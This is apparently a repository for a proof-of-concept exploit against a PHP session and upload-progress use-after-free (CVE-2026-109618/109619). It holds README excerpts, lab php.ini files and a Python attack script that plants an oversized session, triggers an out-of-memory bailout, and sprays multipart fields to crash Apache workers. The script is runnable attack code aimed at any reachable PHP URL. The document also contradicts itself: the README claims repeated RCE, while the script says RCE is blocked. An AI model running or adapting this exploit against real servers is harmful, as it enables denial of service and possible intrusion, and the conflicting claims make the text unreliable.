| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
| `--timeout` | 30.0 | Socket timeout in seconds |
### Built-in offset database
| PHP version | Distro | Status |
|---|---|---|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
## The patch
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
layers. Any one of the first three alone is sufficient to block the attack:
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
session RFC1867 callback now calls `php_rinit_session_globals()` at
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
dangling `PS(id)` from the previous request before B's parsing begins.
This single defense is sufficient to kill the entire exploit chain.
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
triggers a longjmp during allocation. Instead, a soft limit records
the error and sets `vm_interrupt`. Allocations return NULL in fallible
mode or succeed up to a hard limit (default 200% of `memory_limit`).
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
runs normally, so stale state never persists.
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
check in `fill_buffer()` enforces `post_max_size` against
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
bypass (which previously allowed sending 140MB despite 8M limit) is
blocked. OOM cannot be triggered via multipart data alone.
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
and `BG(unserialize)`, eliminating the stale serialization state
window from CVE-2026-109618.
5. **Session deserialization hardening**: RFC1867 session decode runs in
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
guard prevents `request_parse_body()` from corrupting session state.
## Test environment
The `docker/` directory contains a minimal test setup:
```bash
cd docker && docker compose up -d
# Stock settings variant (no custom php.ini):
docker run -d --name stock -p 8093:80 php:8.4.26-apache
```
The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
## display_errors and WordPress
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
The `max_input_vars` warning must produce visible output to set
`SG(headers_sent) = 1` before the session cookie attempt, which causes
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
the next request's leak.
With `display_errors = Off`, the warning is logged but produces no output.
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
cookie is emitted on the subsequent request.
**Why stock PHP is still vulnerable**: PHP's compile-time default for
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
without a `php.ini`, so the default applies. Only when a system
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
or adds explicit INI configuration is the target hardened against this leak.
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
in `wp-settings.php`. This `ini_set` executes during script startup, which
is AFTER multipart POST parsing (where the OOM and session leak occur).
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
is vulnerable, because `display_errors` is still `On` at the time the
exploit code path runs. The official `wordpress:*` Docker images ship
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
level, which does block the leak.
**Why display_errors=Off cannot be bypassed**: The info leak requires
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
`MULTIPART_EVENT_FILE_START`. The only code path that sets
`SG(headers_sent)` during multipart parsing is the error display path
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
gated on `display_errors`. With `display_errors = Off`, warnings go to
the error log only, producing no output. There is no alternative
mechanism to force HTTP output during multipart parsing: the SAPI write
function is the only path, and it requires display_errors or explicit
script output (which has not started yet at this stage of request
processing). Precision OOM calibration (attempting to trigger OOM inside
the ~500-byte `php_session_send_cookie` window) was tested and fails
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
cannot be calibrated to the required precision.
## References
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
- CVSS: 9.2 (both CVEs, per Rapid7)
+3
View File
@@ -0,0 +1,3 @@
<?php
// Any PHP page works. session_start() is NOT required.
echo "OK";
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 8M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 128M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+7
View File
@@ -0,0 +1,7 @@
; Minimal config for the UAF RCE exploit lab.
; Most settings match the stock php:8.4.26-apache defaults.
display_errors = On
memory_limit = 8M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+596
View File
@@ -0,0 +1,596 @@
#!/usr/bin/env python3 -I
"""
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework dependencies
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
chain with three independent defense layers:
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
Vulnerability chain:
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
(longjmp), which skips php_var_unserialize_destroy(). This leaves
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
CVE-2026-109619: The session upload progress globals populated by
the RFC1867 callback survive into the next request. On the next
request, sapi_activate() runs the RFC1867 callback BEFORE
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
php_session_decode() -> php_var_unserialize_init(), which sees
BG(unserialize).level > 0 and returns the stale .data pointer.
Classic use-after-free.
Attack phases:
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
that will trigger HashTable resize needing ~2.25MB when decoded.
Phase 2 (OOM): Multipart upload referencing that session ID.
RFC1867 progress callback reads and decodes the session file.
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
Phase 3 (Crash): Another upload (no intermediate GET requests, which
would zero BG state via RINIT). Filler form fields create many
3-page zend_string allocations that consume ZendMM pages up to the
stale struct's position (~page 288). The struct's 'last' pointer
(offset 0) is overwritten by the zend_string GC header (refcount +
type_info), which is not a valid heap address. var_push reads
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default in php.ini)
- memory_limit low enough for session data to trigger OOM
- Any reachable PHP URL on the target (even a 404 page works)
- A method to write a session file with many entries (Phase 1)
- No LFI, no framework, no non-default config changes needed
Exploitation notes:
This PoC demonstrates two distinct UAF primitives:
1. CRASH (var_push path): Filler fields reclaim the stale struct
pages. The zend_string GC header at offset 0 overwrites the
'last' pointer with refcount|type_info (not a valid address).
var_push reads 'last' and dereferences it -> SIGSEGV.
2. TYPE CONFUSION (var_access path): Session data using R:N
backreferences resolves through var_access, which reads the
inline 'entries' at struct offset 56 instead of 'last' at
offset 0. Without the filler spray, the stale struct's 'last'
pointer self-references &entries (valid), and entries.data[0]
holds a dangling pointer to a zval from request 1's heap.
PHP reads this stale zval without crashing. The value's type
matches whatever the first OOM session entry contained:
- String value -> stale IS_STRING (original content intact)
- Integer value -> stale IS_LONG (original value)
- Object value -> CRASH (freed zend_object dereference)
The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts
struct offset 16 (last_dtor), and var_tmp_var reads last_dtor
BEFORE var_access runs. With fillers, var_tmp_var crashes.
Without fillers, the type confusion works but reads the attacker's
own data from the stale heap (the cached ZendMM chunk retains page
data across requests without zeroing). No info leak is possible.
Full RCE is blocked by:
- ASLR: no info leak primitive. The type confusion reads back
the attacker's own session data, not heap metadata or code
pointers. The cached chunk retains original bytes.
- Mutual exclusion: filler spray (needed for controlled content)
crashes var_tmp_var before var_access can read the fillers.
- GC header overlap at offset 0: prevents pointer control when
spraying (var_push reads 'last' before reaching controlled
bytes at offset 24+)
- No loaded classes during sapi_activate: PHP built-in classes
(SplFileObject, PDO) have exploitable handlers but constructing
fake objects requires knowing libphp.so base address (ASLR)
- Session key validation: PHP's php serializer skips keys
containing '|', blocking injection via upload progress name
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
"""
import argparse
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ── Constants ────────────────────────────────────────────────────────
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
# ── Networking ───────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=10):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
sock = connect(host, port, timeout=timeout)
sock.sendall(headers_bytes + body_bytes)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Multipart builders ──────────────────────────────────────────────
def multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def multipart_end(boundary):
return b"--" + boundary + b"--\r\n"
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
hdrs = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if sid:
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
hdrs += "Connection: close\r\n\r\n"
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
# ── Session file generation ─────────────────────────────────────────
def generate_session_data(n_entries):
"""PHP session data that forces a large HashTable allocation on decode.
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
"""
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
inner = "".join(parts)
return f'd|a:{n_entries}:{{{inner}}}'.encode()
# ── Session file management ─────────────────────────────────────────
def write_session_file(sid, data, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
tmp = f"/tmp/sess_plant_{os.getpid()}"
with open(tmp, "wb") as f:
f.write(data)
subprocess.run(["sudo", "cp", tmp, fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chmod", "600", fpath],
capture_output=True, check=True)
os.unlink(tmp)
return fpath
def read_session_file(sid, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
capture_output=True, text=True)
if r.returncode != 0:
return False, 0
return True, int(r.stdout.strip())
def ensure_session_file(sid, save_path, n_entries):
exists, size = read_session_file(sid, save_path)
if exists and size > 100000:
return size
data = generate_session_data(n_entries)
write_session_file(sid, data, save_path)
return len(data)
# ── Phase 0: Worker discovery ───────────────────────────────────────
def discover_workers(host, port, path, rounds=20):
pids = set()
for _ in range(rounds):
try:
_, body = http_get(host, port, path, timeout=5)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout, OSError):
pass
return sorted(pids)
# ── Phase builders ──────────────────────────────────────────────────
def build_oom_trigger(sid):
boundary = b"OOM" + os.urandom(4).hex().encode()
parts = [
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
multipart_end(boundary),
]
return boundary, b"".join(parts)
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
"""Multipart with filler fields to reclaim stale struct pages.
Each field value is a 3-page zend_string. The GC header at offset
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
When var_push reads 'last', it dereferences the invalid address.
"""
boundary = b"CRASH" + os.urandom(4).hex().encode()
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
filler = b"\x41" * field_size
for i in range(n_fields):
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
parts.append(multipart_end(boundary))
return boundary, b"".join(parts)
def is_oom_response(status, body):
return (
b"memory size" in body
or b"Allowed memory" in body
or status == 500
or status == 0
)
# ── Main ────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument("--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php")
parser.add_argument("--session-path",
default="/var/www/uaf-test/sessions",
help="Session save_path on the target")
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
help="Entries in OOM session file (default: 33000)")
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
help="Filler fields for crash trigger (default: 100)")
parser.add_argument("--oom-only", action="store_true",
help="Stop after Phase 2 (OOM + stale state)")
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ──────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = discover_workers(host, port, path)
if not pids:
print("[-] No workers found. Target must echo getmypid().")
sys.exit(1)
print(f" Workers: {pids}")
target_pid = pids[0]
# ── Phase 1: Plant large session file ──────────────────────────
print()
print("[*] Phase 1: Planting large session file...")
sid = "uaf" + os.urandom(6).hex()
print(f" SID: {sid}")
print(f" Entries: {args.entries}")
sess_size = ensure_session_file(sid, args.session_path, args.entries)
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
print(f" HashTable resize on decode needs ~2.25MB")
# ── Phase 2: OOM trigger ───────────────────────────────────────
print()
print("[*] Phase 2: Triggering OOM during session decode...")
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
oom_success = False
patched = False
for attempt in range(len(pids) * 8):
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if is_oom_response(status, rbody):
if b"memory size" in rbody:
tag = f"{status} (OOM in body)"
elif status == 500:
tag = "500"
else:
tag = "connection dropped"
print(f" [{attempt+1}] OOM triggered ({tag})")
# Detect patched vs unpatched via session file state.
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
time.sleep(0.3)
exists, sz = read_session_file(sid, args.session_path)
if not exists or sz == 0:
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
elif sz < sess_size // 2:
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
patched = True
oom_success = True
break
else:
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
if not oom_success:
print()
print("[-] OOM trigger failed.")
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
sys.exit(1)
if patched:
print()
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
print(" 3. Session handler: incomplete_classes_only during RFC1867")
return
# Check worker survived (must do this BEFORE Phase 3, but note
# this GET request will zero BG state on the worker it hits).
# With MaxRequestWorkers=1, this targets the same worker.
# We will re-trigger OOM before the crash attempt.
time.sleep(0.5)
pids_after = discover_workers(host, port, path, rounds=5)
survived = set(pids) & set(pids_after)
if not survived:
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
sys.exit(1)
target_pid = sorted(survived)[0]
print(f" [+] Worker {target_pid} survived OOM")
if args.oom_only:
print()
print("[+] Phase 2 complete.")
print(" BG(unserialize).level=1, .data=freed heap pointer.")
print(" (BG state zeroed by the verification GET above.)")
return
# ── Phase 3: UAF crash verification ───────────────────────────
#
# CRITICAL: no GET requests between the OOM trigger and the crash
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
# zeros BG(unserialize), destroying the stale state.
#
# With prefork MaxRequestWorkers=1, all requests go to the same
# worker. We re-trigger OOM (to set stale state), then immediately
# send the crash trigger without any intermediate requests.
#
# Crash mechanism: filler form fields create 3-page zend_string
# allocations that consume pages up to the stale struct's position
# (~page 288 out of 512 in the ZendMM chunk). When a filler
# zend_string lands on the stale pages, offset 0 (the 'last'
# pointer) is overwritten with the zend_string GC header:
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
# This is not a valid heap address. When the session decode calls
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
print()
print("[*] Phase 3: UAF crash verification...")
print(" Re-triggering OOM, then crash (no intermediate GET).")
crashed = False
for attempt in range(3):
# Re-trigger OOM to set stale BG state
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if not is_oom_response(status, rbody):
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
continue
time.sleep(0.3)
# Plant a small session (one entry). The decode calls var_push
# once, which reads the stale 'last' pointer and crashes.
small_session = b'x|s:3:"abc";'
write_session_file(sid, small_session, args.session_path)
# Send crash trigger DIRECTLY (no intermediate GET).
# Filler fields consume pages up to the stale struct.
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
# Check if worker crashed (new PID or connection failure)
time.sleep(0.5)
try:
_, rbody2 = http_get(host, port, path, timeout=5)
pid_after = extract_pid(rbody2)
except (ConnectionError, socket.timeout, OSError):
pid_after = 0
if pid_after and pid_after != target_pid:
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
print(f" Filler zend_strings reclaimed stale struct pages")
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
crashed = True
target_pid = pid_after
break
elif pid_after == target_pid:
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
elif status == 0 and pid_after == 0:
print(f" [{attempt+1}] Server unresponsive")
else:
print(f" [{attempt+1}] Response: {status}")
print()
if crashed:
print("[+] USE-AFTER-FREE CONFIRMED")
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
print(" overwrote the 'last' pointer with refcount|type_info.")
print(" var_push dereferenced the invalid address -> SIGSEGV.")
else:
print("[*] No crash triggered (filler fields may have missed the pages).")
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
print()
print_summary(crash=crashed)
def print_summary(patched=False, crash=False):
print("=" * 64)
print(" Summary")
print("=" * 64)
print()
if patched:
print(" TARGET: PATCHED (not vulnerable)")
print()
print(" Three independent mitigations block the attack:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
return
print(" TARGET: UNPATCHED (vulnerable)")
print()
print(" Confirmed primitives:")
print(" [+] OOM during RFC1867 session decode")
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
print(" BG(unserialize).level=1, .data=freed heap pointer")
print(" Apache prefork worker survives, serves new requests")
if crash:
print(" [+] Use-After-Free crash (var_push path)")
print(" Filler zend_strings reclaim stale struct pages")
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
print(" [+] Type confusion (var_access path)")
print(" R:N backreferences bypass the corrupted 'last' pointer")
print(" var_access reads inline entries at offset 56 (not offset 0)")
print(" Stale entries.data[0] resolves to freed heap memory")
print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)")
print()
print(" Exploitation status:")
print(" Two UAF primitives confirmed: crash (DoS) and type confusion.")
print(" Full RCE is blocked by five independent constraints:")
print()
print(" 1. ASLR: type confusion reads attacker's own data, not heap")
print(" metadata or code pointers (cached chunk retains original bytes)")
print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)")
print(" before var_access can read controlled data at offset 56+")
print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23")
print(" prevent var_push from reaching controlled data at offset 24+")
print(" 4. No exploitable classes: SplFileObject/PDO have function pointer")
print(" calls in free_obj, but fake objects need libphp.so base (ASLR)")
print(" 5. Session key validation: php serializer skips keys with '|',")
print(" blocking deserialization injection via upload progress name")
print()
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
print(" No LFI, no framework, no application-level access needed.")
if __name__ == "__main__":
main()
File diff suppressed because it is too large Load Diff